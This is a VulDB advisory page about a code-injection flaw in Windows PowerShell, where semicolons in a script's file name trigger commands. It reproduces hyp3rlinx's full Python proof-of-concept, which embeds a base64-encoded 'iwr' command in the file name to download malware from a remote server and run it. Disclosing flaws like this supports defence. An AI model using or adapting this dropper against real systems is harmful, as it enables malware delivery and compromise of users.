Microsoft Windows PowerShell Semicolon code injection

CVSS Meta Temp Score
CVSS is a standardized scoring system to determine possibilities of attacks. The Temp Score considers temporal factors like disclosure, exploit and countermeasures. The unique Meta Score calculates the average score of different sources to provide a normalized scoring system.
Current Exploit Price (≈)
Our analysts are monitoring exploit markets and are in contact with vulnerability brokers. The range indicates the observed or calculated exploit price to be seen on exploit markets. A good indicator to understand the monetary effort required for and the popularity of an attack.
CTI Interest Score
Our Cyber Threat Intelligence team is monitoring different web sites, mailing lists, exploit markets and social media networks. The CTI Interest Score identifies the interest of attackers and the security community for this specific vulnerability in real-time. A high score indicates an elevated risk to be targeted for this vulnerability.
5.7$0-$5k0.00

Summaryinfo

A vulnerability has been found in Microsoft Windows and classified as critical. This vulnerability affects unknown code of the component PowerShell. Performing a manipulation as part of Semicolon results in code injection. The attack is possible to be carried out remotely. Moreover, an exploit is present. The affected component should be disabled.

Detailsinfo

A vulnerability classified as critical has been found in Microsoft Windows (Operating System) (the affected version unknown). This affects an unknown part of the component PowerShell. The manipulation as part of a Semicolon leads to a code injection vulnerability. CWE is classifying the issue as CWE-94. The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. This is going to have an impact on confidentiality, integrity, and availability.

The weakness was disclosed 08/01/2019 by John Page (hyp3rlinx) as not defined advisory (Website). It is possible to read the advisory at hyp3rlinx.altervista.org. The public release has been coordinated in cooperation with Microsoft. It is possible to initiate the attack remotely. No form of authentication is needed for exploitation. It demands that the victim is doing some kind of user interaction. Technical details are unknown but a public exploit is available. The pricing for an exploit might be around USD $0-$5k at the moment (estimation calculated on 07/21/2020). The attack technique deployed by this issue is T1059 according to MITRE ATT&CK.

A public exploit has been developed by John Page (hyp3rlinx) and been published immediately after the advisory. The exploit is shared for download at hyp3rlinx.altervista.org. It is declared as proof-of-concept. The vulnerability was handled as a non-public zero-day exploit for at least 12 days. During that time the estimated underground price was around $25k-$100k. The code used by the exploit is:

from base64 import b64encode
import argparse,sys
#Windows PowerShell - Unsantized Filename Command Execution Vulnerability PoC
#Create ".ps1" files with Embedded commands to download, save and execute malware within a PowerShell Script Filename.
#Expects hostname/ip-addr of web-server housing the exploit.
#By hyp3rlinx
#Apparition Security
#====================


def parse_args():
    parser.add_argument("-i", "--ipaddress", help="Remote server to download and exec malware from.")
    parser.add_argument("-m", "--local_malware_name", help="Name for the Malware after downloading.")
    parser.add_argument("-r", "--remote_malware_name", help="Malwares name on remote server.")
    return parser.parse_args()

def main(args):
    PSEmbedFilenameMalwr=""
    if args.ipaddress:
        PSEmbedFilenameMalwr = "powershell iwr "+args.ipaddress+"/"+args.remote_malware_name+" -O %CD%\\"+args.local_malware_name+" ;sleep -s 2;start "+args.local_malware_name
    return b64encode(PSEmbedFilenameMalwr.encode('UTF-16LE'))

def create_file(payload):
    f=open("Test;PowerShell -e "+payload+";2.ps1", "w")
    f.write("Write-Output 'Have a nice day!'")
    f.close()

if __name__=="__main__":
    
    parser = argparse.ArgumentParser()
    PSCmds = main(parse_args())

    if len(sys.argv)==1:
        parser.print_help(sys.stderr)
        sys.exit(1)
        
    create_file(PSCmds)
    print "PowerShell - Unsantized Filename Command Execution File created!"
    print "By hyp3rlinx"

The best possible mitigation is suggested to be disabling the affected component.

Be aware that VulDB is the high quality source for vulnerability data.

Productinfo

Type

Vendor

Name

License

Website

CPE 2.3info

CPE 2.2info

Video

CVSSv4info

VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv3info

VulDB Meta Base Score: 6.3
VulDB Meta Temp Score: 5.7

VulDB Base Score: 6.3
VulDB Temp Score: 5.7
VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv2info

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
VectorComplexityAuthenticationConfidentialityIntegrityAvailability
UnlockUnlockUnlockUnlockUnlockUnlock
UnlockUnlockUnlockUnlockUnlockUnlock
UnlockUnlockUnlockUnlockUnlockUnlock

VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍

Exploitinginfo

Class: Code injection
CWE: CWE-94 / CWE-74 / CWE-707
CAPEC: 🔍
ATT&CK: 🔍

Physical: No
Local: No
Remote: Yes

Availability: 🔍
Access: Public
Status: Proof-of-Concept
Author: John Page (hyp3rlinx)
Download: 🔍
Price Prediction: 🔍
Current Price Estimation: 🔍

0-DayUnlockUnlockUnlockUnlock
TodayUnlockUnlockUnlockUnlock

Threat Intelligenceinfo

Interest: 🔍
Active Actors: 🔍
Active APT Groups: 🔍

Countermeasuresinfo

Recommended: Disable
Status: 🔍

0-Day Time: 🔍
Exploit Delay Time: 🔍

Timelineinfo

07/20/2019 🔍
07/23/2019 +3 days 🔍
08/01/2019 +9 days 🔍
08/01/2019 +0 days 🔍
08/06/2019 +5 days 🔍
07/21/2020 +350 days 🔍

Sourcesinfo

Vendor: microsoft.com
Product: microsoft.com

Advisory: hyp3rlinx.altervista.org
Researcher: John Page (hyp3rlinx)
Status: Not defined
Coordinated: 🔍

GCVE (VulDB): GCVE-100-139527
scip Labs: https://www.scip.ch/en/?labs.20161013

Entryinfo

Created: 08/06/2019 07:42
Updated: 07/21/2020 11:24
Changes: 08/06/2019 07:42 (53), 07/21/2020 11:24 (2)
Complete: 🔍
Submitter: hyp3rlinx
Cache ID: 216::103

Submitinfo

Accepted

  • Submit #80: Microsoft Windows PowerShell / Unsanitized Filename Command Execution (by hyp3rlinx)

Duplicate

Be aware that VulDB is the high quality source for vulnerability data.

Discussion

No comments yet. Languages: en.

Please log in to comment.

Are you interested in using VulDB?

Download the whitepaper to learn more about our service!